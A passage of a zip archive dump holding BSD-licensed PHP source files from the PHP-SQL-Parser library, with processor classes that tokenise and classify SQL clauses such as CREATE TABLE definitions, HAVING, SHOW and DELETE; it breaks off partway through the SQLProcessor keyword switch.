 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the create definition of the TABLE statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class CreateDefinitionProcessor extends AbstractProcessor {

    protected function processExpressionList($parsed) {
        $processor = new ExpressionListProcessor($this->options);
        return $processor->process($parsed);
    }

    protected function processIndexColumnList($parsed) {
        $processor = new IndexColumnListProcessor($this->options);
        return $processor->process($parsed);
    }

    protected function processColumnDefinition($parsed) {
        $processor = new ColumnDefinitionProcessor($this->options);
        return $processor->process($parsed);
    }

    protected function processReferenceDefinition($parsed) {
        $processor = new ReferenceDefinitionProcessor($this->options);
        return $processor->process($parsed);
    }

    protected function correctExpressionType(&$expr) {
        $type = ExpressionType::EXPRESSION;
        if (!isset($expr[0]) || !isset($expr[0]['expr_type'])) {
            return $type;
        }

        // replace the constraint type with a more descriptive one
        switch ($expr[0]['expr_type']) {

        case ExpressionType::CONSTRAINT:
            $type = $expr[1]['expr_type'];
            $expr[1]['expr_type'] = ExpressionType::RESERVED;
            break;

        case ExpressionType::COLREF:
            $type = ExpressionType::COLDEF;
            break;

        default:
            $type = $expr[0]['expr_type'];
            $expr[0]['expr_type'] = ExpressionType::RESERVED;
            break;

        }
        return $type;
    }

    public function process($tokens) {

        $base_expr = '';
        $prevCategory = '';
        $currCategory = '';
        $expr = array();
        $result = array();
        $skip = 0;

        foreach ($tokens as $k => $token) {

            $trim = trim($token);
            $base_expr .= $token;

            if ($skip !== 0) {
                $skip--;
                continue;
            }

            if ($trim === '') {
                continue;
            }

            $upper = strtoupper($trim);

            switch ($upper) {

            case 'CONSTRAINT':
                $expr[] = array('expr_type' => ExpressionType::CONSTRAINT, 'base_expr' => $trim, 'sub_tree' => false);
                $currCategory = $prevCategory = $upper;
                continue 2;

            case 'LIKE':
                $expr[] = array('expr_type' => ExpressionType::LIKE, 'base_expr' => $trim);
                $currCategory = $prevCategory = $upper;
                continue 2;

            case 'FOREIGN':
                if ($prevCategory === '' || $prevCategory === 'CONSTRAINT') {
                    $expr[] = array('expr_type' => ExpressionType::FOREIGN_KEY, 'base_expr' => $trim);
                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case 'PRIMARY':
                if ($prevCategory === '' || $prevCategory === 'CONSTRAINT') {
                    // next one is KEY
                    $expr[] = array('expr_type' => ExpressionType::PRIMARY_KEY, 'base_expr' => $trim);
                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case 'UNIQUE':
                if ($prevCategory === '' || $prevCategory === 'CONSTRAINT' || $prevCategory === 'INDEX_COL_LIST') {
                    // next one is KEY
                    $expr[] = array('expr_type' => ExpressionType::UNIQUE_IDX, 'base_expr' => $trim);
                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case 'KEY':
            // the next one is an index name
                if ($currCategory === 'PRIMARY' || $currCategory === 'FOREIGN' || $currCategory === 'UNIQUE') {
                    $expr[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    continue 2;
                }
                $expr[] = array('expr_type' => ExpressionType::INDEX, 'base_expr' => $trim);
                $currCategory = $upper;
                continue 2;

            case 'CHECK':
                $expr[] = array('expr_type' => ExpressionType::CHECK, 'base_expr' => $trim);
                $currCategory = $upper;
                continue 2;

            case 'INDEX':
                if ($currCategory === 'UNIQUE' || $currCategory === 'FULLTEXT' || $currCategory === 'SPATIAL') {
                    $expr[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    continue 2;
                }
                $expr[] = array('expr_type' => ExpressionType::INDEX, 'base_expr' => $trim);
                $currCategory = $upper;
                continue 2;

            case 'FULLTEXT':
                $expr[] = array('expr_type' => ExpressionType::FULLTEXT_IDX, 'base_expr' => $trim);
                $currCategory = $prevCategory = $upper;
                continue 2;

            case 'SPATIAL':
                $expr[] = array('expr_type' => ExpressionType::SPATIAL_IDX, 'base_expr' => $trim);
                $currCategory = $prevCategory = $upper;
                continue 2;

            case 'WITH':
            // starts an index option
                if ($currCategory === 'INDEX_COL_LIST') {
                    $option = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $expr[] = array('expr_type' => ExpressionType::INDEX_PARSER,
                                    'base_expr' => substr($base_expr, 0, -strlen($token)),
                                    'sub_tree' => array($option));
                    $base_expr = $token;
                    $currCategory = 'INDEX_PARSER';
                    continue 2;
                }
                break;

            case 'KEY_BLOCK_SIZE':
            // starts an index option
                if ($currCategory === 'INDEX_COL_LIST') {
                    $option = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $expr[] = array('expr_type' => ExpressionType::INDEX_SIZE,
                                    'base_expr' => substr($base_expr, 0, -strlen($token)),
                                    'sub_tree' => array($option));
                    $base_expr = $token;
                    $currCategory = 'INDEX_SIZE';
                    continue 2;
                }
                break;

            case 'USING':
            // starts an index option
                if ($currCategory === 'INDEX_COL_LIST' || $currCategory === 'PRIMARY') {
                    $option = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $expr[] = array('base_expr' => substr($base_expr, 0, -strlen($token)), 'trim' => $trim,
                                    'category' => $currCategory, 'sub_tree' => array($option));
                    $base_expr = $token;
                    $currCategory = 'INDEX_TYPE';
                    continue 2;
                }
                // else ?
                break;

            case 'REFERENCES':
                if ($currCategory === 'INDEX_COL_LIST' && $prevCategory === 'FOREIGN') {
                    $refs = $this->processReferenceDefinition(array_slice($tokens, $k - 1, null, true));
                    $skip = $refs['till'] - $k;
                    unset($refs['till']);
                    $expr[] = $refs;
                    $currCategory = $upper;
                }
                // else ?
                break;

            case 'BTREE':
            case 'HASH':
                if ($currCategory === 'INDEX_TYPE') {
                    $last = array_pop($expr);
                    $last['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $expr[] = array('expr_type' => ExpressionType::INDEX_TYPE, 'base_expr' => $base_expr,
                                    'sub_tree' => $last['sub_tree']);
                    $base_expr = $last['base_expr'] . $base_expr;

                    // FIXME: it could be wrong for index_type within index_option
                    $currCategory = $last['category'];
                    continue 2;
                }
                // else ?
                break;

            case '=':
                if ($currCategory === 'INDEX_SIZE') {
                    // the optional character between KEY_BLOCK_SIZE and the numeric constant
                    $last = array_pop($expr);
                    $last['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $expr[] = $last;
                    continue 2;
                }
                break;

            case 'PARSER':
                if ($currCategory === 'INDEX_PARSER') {
                    $last = array_pop($expr);
                    $last['sub_tree'][] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    $expr[] = $last;
                    continue 2;
                }
                // else ?
                break;

            case ',':
            // this starts the next definition
                $type = $this->correctExpressionType($expr);
                $result['create-def'][] = array('expr_type' => $type,
                                                'base_expr' => trim(substr($base_expr, 0, -strlen($token))),
                                                'sub_tree' => $expr);
                $base_expr = '';
                $expr = array();
                break;

            default:
                switch ($currCategory) {

                case 'LIKE':
                // this is the tablename after LIKE
                    $expr[] = array('expr_type' => ExpressionType::TABLE, 'table' => $trim, 'base_expr' => $trim,
                                    'no_quotes' => $this->revokeQuotation($trim));
                    break;

                case 'PRIMARY':
                    if ($upper[0] === '(' && substr($upper, -1) === ')') {
                        // the column list
                        $cols = $this->processIndexColumnList($this->removeParenthesisFromStart($trim));
                        $expr[] = array('expr_type' => ExpressionType::COLUMN_LIST, 'base_expr' => $trim,
                                        'sub_tree' => $cols);
                        $prevCategory = $currCategory;
                        $currCategory = 'INDEX_COL_LIST';
                        continue 3;
                    }
                    // else?
                    break;

                case 'FOREIGN':
                    if ($upper[0] === '(' && substr($upper, -1) === ')') {
                        $cols = $this->processIndexColumnList($this->removeParenthesisFromStart($trim));
                        $expr[] = array('expr_type' => ExpressionType::COLUMN_LIST, 'base_expr' => $trim,
                                        'sub_tree' => $cols);
                        $prevCategory = $currCategory;
                        $currCategory = 'INDEX_COL_LIST';
                        continue 3;
                    }
                    // index name
                    $expr[] = array('expr_type' => ExpressionType::CONSTANT, 'base_expr' => $trim);
                    continue 3;

                case 'KEY':
                case 'UNIQUE':
                case 'INDEX':
                    if ($upper[0] === '(' && substr($upper, -1) === ')') {
                        $cols = $this->processIndexColumnList($this->removeParenthesisFromStart($trim));
                        $expr[] = array('expr_type' => ExpressionType::COLUMN_LIST, 'base_expr' => $trim,
                                        'sub_tree' => $cols);
                        $prevCategory = $currCategory;
                        $currCategory = 'INDEX_COL_LIST';
                        continue 3;
                    }
                    // index name
                    $expr[] = array('expr_type' => ExpressionType::CONSTANT, 'base_expr' => $trim);
                    continue 3;

                case 'CONSTRAINT':
                // constraint name
                    $last = array_pop($expr);
                    $last['base_expr'] = $base_expr;
                    $last['sub_tree'] = array('expr_type' => ExpressionType::CONSTANT, 'base_expr' => $trim);
                    $expr[] = $last;
                    continue 3;

                case 'INDEX_PARSER':
                // index parser name
                    $last = array_pop($expr);
                    $last['sub_tree'][] = array('expr_type' => ExpressionType::CONSTANT, 'base_expr' => $trim);
                    $expr[] = array('expr_type' => ExpressionType::INDEX_PARSER, 'base_expr' => $base_expr,
                                    'sub_tree' => $last['sub_tree']);
                    $base_expr = $last['base_expr'] . $base_expr;
                    $currCategory = 'INDEX_COL_LIST';
                    continue 3;

                case 'INDEX_SIZE':
                // index key block size numeric constant
                    $last = array_pop($expr);
                    $last['sub_tree'][] = array('expr_type' => ExpressionType::CONSTANT, 'base_expr' => $trim);
                    $expr[] = array('expr_type' => ExpressionType::INDEX_SIZE, 'base_expr' => $base_expr,
                                    'sub_tree' => $last['sub_tree']);
                    $base_expr = $last['base_expr'] . $base_expr;
                    $currCategory = 'INDEX_COL_LIST';
                    continue 3;

                case 'CHECK':
                    if ($upper[0] === '(' && substr($upper, -1) === ')') {
                        $parsed = $this->splitSQLIntoTokens($this->removeParenthesisFromStart($trim));
                        $parsed = $this->processExpressionList($parsed);
                        $expr[] = array('expr_type' => ExpressionType::BRACKET_EXPRESSION, 'base_expr' => $trim,
                                        'sub_tree' => $parsed);
                    }
                    // else?
                    break;

                case '':
                // if the currCategory is empty, we have an unknown token,
                // which is a column reference
                    $expr[] = array('expr_type' => ExpressionType::COLREF, 'base_expr' => $trim,
                                    'no_quotes' => $this->revokeQuotation($trim));
                    $currCategory = 'COLUMN_NAME';
                    continue 3;

                case 'COLUMN_NAME':
                // the column-definition
                // it stops on a comma or on a parenthesis
                    $parsed = $this->processColumnDefinition(array_slice($tokens, $k, null, true));
                    $skip = $parsed['till'] - $k;
                    unset($parsed['till']);
                    $expr[] = $parsed;
                    $currCategory = '';
                    break;

                default:
                // ?
                    break;
                }
                break;
            }
            $prevCategory = $currCategory;
            $currCategory = '';
        }

        $type = $this->correctExpressionType($expr);
        $result['create-def'][] = array('expr_type' => $type, 'base_expr' => trim($base_expr), 'sub_tree' => $expr);
        return $result;
    }
}
?>
PK     \    O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/HavingProcessor.phpnu [        <?php
/**
 * HavingProcessor.php
 *
 * Parses the HAVING statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the processor for the HAVING statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class HavingProcessor extends ExpressionListProcessor {
	
    public function process($tokens, $select = array()) {
        $parsed = parent::process($tokens);

        foreach ($parsed as $k => $v) {
            if ($v['expr_type'] === ExpressionType::COLREF) {
                foreach ($select as $clause) {
                    if (!isset($clause['alias'])) {
                    	continue;
                    }
                    if (!$clause['alias']) {
                        continue;
                    }
                    if ($clause['alias']['no_quotes'] === $v['no_quotes']) {
                        $parsed[$k]['expr_type'] = ExpressionType::ALIAS;
                        break;
                    }
                }
            }
        }

        return $parsed;
    }
}

?>
PK     \    M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/ShowProcessor.phpnu [        <?php
/**
 * ShowProcessor.php
 *
 * This file implements the processor for the SHOW statements.
 *
 * Copyright (c) 2010-2012, Justin Swanhart
 * with contributions by André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\Options;
use PHPSQLParser\utils\ExpressionType;
use PHPSQLParser\utils\PHPSQLParserConstants;

/**
 *
 * This class processes the SHOW statements.
 *
 * @author arothe
 *
 */
class ShowProcessor extends AbstractProcessor {

    private $limitProcessor;

    public function __construct(Options $options) {
        parent::__construct($options);
        $this->limitProcessor = new LimitProcessor($options);
    }

    public function process($tokens) {
        $resultList = array();
        $category = "";
        $prev = "";

        foreach ($tokens as $k => $token) {
            $upper = strtoupper(trim($token));

            if ($this->isWhitespaceToken($token)) {
                continue;
            }

            switch ($upper) {

            case 'FROM':
                $resultList[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => trim($token));
                if ($prev === 'INDEX' || $prev === 'COLUMNS') {
                    break;
                }
                $category = $upper;
                break;

            case 'CREATE':
            case 'DATABASE':
            case 'SCHEMA':
            case 'FUNCTION':
            case 'PROCEDURE':
            case 'ENGINE':
            case 'TABLE':
            case 'FOR':
            case 'LIKE':
            case 'INDEX':
            case 'COLUMNS':
            case 'PLUGIN':
            case 'PRIVILEGES':
            case 'PROCESSLIST':
            case 'LOGS':
            case 'STATUS':
            case 'GLOBAL':
            case 'SESSION':
            case 'FULL':
            case 'GRANTS':
            case 'INNODB':
            case 'STORAGE':
            case 'ENGINES':
            case 'OPEN':
            case 'BDB':
            case 'TRIGGERS':
            case 'VARIABLES':
            case 'DATABASES':
            case 'SCHEMAS':
            case 'ERRORS':
            case 'TABLES':
            case 'WARNINGS':
            case 'CHARACTER':
            case 'SET':
            case 'COLLATION':
                $resultList[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => trim($token));
                $category = $upper;
                break;

            default:
                switch ($prev) {
                case 'LIKE':
                    $resultList[] = array('expr_type' => ExpressionType::CONSTANT, 'base_expr' => $token);
                    break;
                case 'LIMIT':
                    $limit = array_pop($resultList);
                    $limit['sub_tree'] = $this->limitProcessor->process(array_slice($tokens, $k));
                    $resultList[] = $limit;
                    break;
                case 'FROM':
                case 'SCHEMA':
                case 'DATABASE':
                    $resultList[] = array('expr_type' => ExpressionType::DATABASE, 'name' => $token,
                                          'no_quotes' => $this->revokeQuotation($token), 'base_expr' => $token);
                    break;
                case 'FOR':
                    $resultList[] = array('expr_type' => ExpressionType::USER, 'name' => $token,
                                          'no_quotes' => $this->revokeQuotation($token), 'base_expr' => $token);
                    break;
                case 'INDEX':
                case 'COLUMNS':
                case 'TABLE':
                    $resultList[] = array('expr_type' => ExpressionType::TABLE, 'table' => $token,
                                          'no_quotes' => $this->revokeQuotation($token), 'base_expr' => $token);
                    $category = "TABLENAME";
                    break;
                case 'FUNCTION':
                    if (PHPSQLParserConstants::getInstance()->isAggregateFunction($upper)) {
                        $expr_type = ExpressionType::AGGREGATE_FUNCTION;
                    } else {
                        $expr_type = ExpressionType::SIMPLE_FUNCTION;
                    }
                    $resultList[] = array('expr_type' => $expr_type, 'name' => $token,
                                          'no_quotes' => $this->revokeQuotation($token), 'base_expr' => $token);
                    break;
                case 'PROCEDURE':
                    $resultList[] = array('expr_type' => ExpressionType::PROCEDURE, 'name' => $token,
                                          'no_quotes' => $this->revokeQuotation($token), 'base_expr' => $token);
                    break;
                case 'ENGINE':
                    $resultList[] = array('expr_type' => ExpressionType::ENGINE, 'name' => $token,
                                          'no_quotes' => $this->revokeQuotation($token), 'base_expr' => $token);
                    break;
                default:
                // ignore
                    break;
                }
                break;
            }
            $prev = $category;
        }
        return $resultList;
    }
}
?>PK     \ y    O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/DeleteProcessor.phpnu [        <?php
/**
 * DeleteProcessor.php
 *
 * Processes the DELETE statement parts and splits multi-table deletes.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;

/**
 * This class processes the DELETE statements.
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class DeleteProcessor extends AbstractProcessor {

    public function process($tokens) {
        $tables = array();
        $del = $tokens['DELETE'];

        foreach ($tokens['DELETE'] as $expression) {
            if (strtoupper($expression) !== 'DELETE' && trim($expression, " \t\n\r\0\x0B.*") !== ""
                && !$this->isCommaToken($expression)) {
                $tables[] = trim($expression, " \t\n\r\0\x0B.*");
            }
        }

        if (empty($tables) && isset($tokens['USING'])) {
            foreach ($tokens['FROM'] as $table) {
                $tables[] = trim($table['table'], " \t\n\r\0\x0B.*");
            }
            $tokens['FROM'] = $tokens['USING'];
            unset($tokens['USING']);
        }

        $options = array();
        if (isset($tokens['OPTIONS'])) {
            $options = $tokens['OPTIONS'];
            unset($tokens['OPTIONS']);
        }

        $tokens['DELETE'] = array('options' => (empty($options) ? false : $options),
                                  'tables' => (empty($tables) ? false : $tables));
        return $tokens;
    }
}
?>
PK     \MF  F  L  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/SQLProcessor.phpnu [        <?php
/**
 * SQLProcessor.php
 *
 * This file implements the processor for the base SQL statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;

/**
 * This class processes the base SQL statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @author  Marco Th. <marco64th@gmail.com>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class SQLProcessor extends SQLChunkProcessor {

    /**
     * This function breaks up the SQL statement into logical sections. 
     * Some sections are delegated to specialized processors.
     */
    public function process($tokens) {
        $prev_category = "";
        $token_category = "";
        $skip_next = 0;
        $out = array();

	// $tokens may come as a numeric indexed array starting with an index greater than 0 (or as a boolean)
	$tokenCount = count($tokens);
        if ( is_array($tokens) ){
          $tokens = array_values($tokens);
        }
        for ($tokenNumber = 0; $tokenNumber < $tokenCount; ++$tokenNumber) {

            // https://github.com/greenlion/PHP-SQL-Parser/issues/279
            // https://github.com/sinri/PHP-SQL-Parser/commit/eac592a0e19f1df6f420af3777a6d5504837faa7
            // as there is no pull request for 279 by the user. His solution works and tested.
            if (!isset($tokens[$tokenNumber])) continue;// as a fix by Sinri 20180528
            $token = $tokens[$tokenNumber];
            $trim = trim($token); // this removes also \n and \t!

            // if it starts with an "(", it should follow a SELECT
            if ($trim !== "" && $trim[0] === "(" && $token_category === "") {
                $token_category = 'BRACKET';
                $prev_category = $token_category;
            }

            /*
             * If it isn't obvious, when $skip_next is set, then we ignore the next real token, that is we ignore whitespace.
             */
            if ($skip_next > 0) {
                if ($trim === "") {
                    if ($token_category !== "") { // is this correct??
                        $out[$token_category][] = $token;
                    }
                    continue;
                }
                // to skip the token we replace it with whitespace
                $trim = "";
                $token = "";
                $skip_next--;
                if ($skip_next > 0) {
                    continue;
                }
            }

            $upper = strtoupper($trim);
            switch ($upper) {

            /* Tokens that get their own sections. These keywords have subclauses. */
            case 'SELECT':
            case 'ORDER':
            case 'VALUES':
            case 'GROUP':
            case 'HAVING':
            case 'WHERE':
            case 'CALL':
            case 'PROCEDURE':
            case 'FUNCTION':
            case 'SERVER':
            case 'LOGFILE':
            case 'DEFINER':
            case 'RETURNS':
            case 'TABLESPACE':
            case 'TRIGGER':
            case 'DO':
            case 'FLUSH':
            case 'KILL':
            case 'RESET':
            case 'STOP':
            case 'PURGE':
            case 'EXECUTE':
            case 'PREPARE':
                $token_category = $upper;
                break;

            case 'DEALLOCATE':
                if ($trim === 'DEALLOCATE') {
                    $skip_next = 1;
                }
                $token_category = $upper;
                break;

            case 'DUPLICATE':
                if ($token_category !== 'VALUES') {
                    $token_category = $upper;
                }
                break;

            case 'SET':
                if ($token_category !== 'TABLE') {
                    $token_category = $upper;
                }
                break;

            case 'LIMIT':
            case 'PLUGIN':
            // no separate section
                if ($token_category === 'SHOW') {
                    break;
                }
                $token_category = $upper;
                break;

            case 'FROM':
            // this FROM is different from FROM in other DML (not join related)
                if ($token_category === 'PREPARE') {
                    continue 2;
                }
                // no separate section
                if ($token_category === 'SHOW') {
                    break;
                }
                $token_category = $upper;
                break;

            case 'EXPLAIN':
            case 'DESCRIBE':
            case 'SHOW':
                $token_category = $upper;
                break;

            case 'DESC':
                if ($token_category === '') {
                    // short version of DESCRIBE
                    $token_category = $upper;
                }
                // else direction of ORDER-BY
                break;

            case 'RENAME':
                $token_category = $upper;
                break;

            case 'DATABASE':
            case 'SCHEMA':
                if ($prev_category === 'DROP') {
                    break;
                }
                if ($prev_category === 'SHOW') {
                    break;
                }
                $token_category = $upper;
                break;

            case 'EVENT':
            // issue 71
                if ($prev_category === 'DROP' || $prev_category === 'ALTER' || $prev_category === 'CREATE') {
                    $token_category = $upper;
                }
                break;

            case 'DATA':
            // prevent wrong handling of DATA as keyword
                if ($prev_category === 'LOAD') {
                    $token_category = $upper;
                }
                break;

            case 'INTO':
            // prevent wrong handling of CACHE within LOAD INDEX INTO CACHE...
                if ($prev_category === 'LOAD') {
                    $out[$prev_category][] = $trim;
                    continue 2;
                }
                $token_category = $prev_category = $upper;
                break;

            case 'USER':
            // prevent wrong processing as keyword
                if ($prev_category === 'CREATE' || $prev_category === 'RENAME' || $prev_category === 'DROP') {
                    $token_category = $upper;
                }
                break;

            case 'VIEW':
            // prevent wrong processing as keyword
                if ($prev_category === 'CREATE' || $prev_category === 'ALTER' || $prev_category === 'DROP') {
                    $token_category = $upper;
                }
                break;

            /*
             * These tokens get their own section, but have no subclauses. These tokens identify the statement but have no specific subclauses of their own.
             */
            case 'DELETE':
            case 'ALTER':
            case 'INSERT':
            case 'OPTIMIZE':
            case 'GRANT':
            case 'REVOKE':
            case 'HANDLER':
            case 'LOAD':
            case 'ROLLBACK':
            case 'SAVEPOINT':
            case 'UNLOCK':
            case 'INSTALL':
            case 'UNINSTALL':
            case 'ANALZYE':
            case 'BACKUP':
            case 'CHECKSUM':
            case 'REPAIR':
            case 'RESTORE':
            case 'HELP':
                $token_category = $upper;
                // set the category in case these get subclauses in a future version of MySQL
                $out[$upper][0] = $trim;
                continue 2;

            case 'TRUNCATE':
            	if ($prev_category === '') {
            		// set the category in case these get subclauses in a future version of MySQL
            		$token_category = $upper;
            		$out[$upper][0] = $trim;
            		continue 2;
            	}
                // part of the CREATE TABLE statement or a function
                $out[$prev_category][] = $trim;
                continue 2;

            case 'REPLACE':
            	if ($prev_category === '') {
            		// set the category in case these get subclauses in a future version of MySQL
            		$token_category = $upper;
            		$out[$upper][0] = $trim;
            		continue 2;
            	}
                // part of the CREATE TABLE statement or a function
                $out[$prev_category][] = $trim;
                continue 2;

            case 'IGNORE':
                if ($prev_category === 'TABLE') {
                    // part of the CREATE TABLE statement
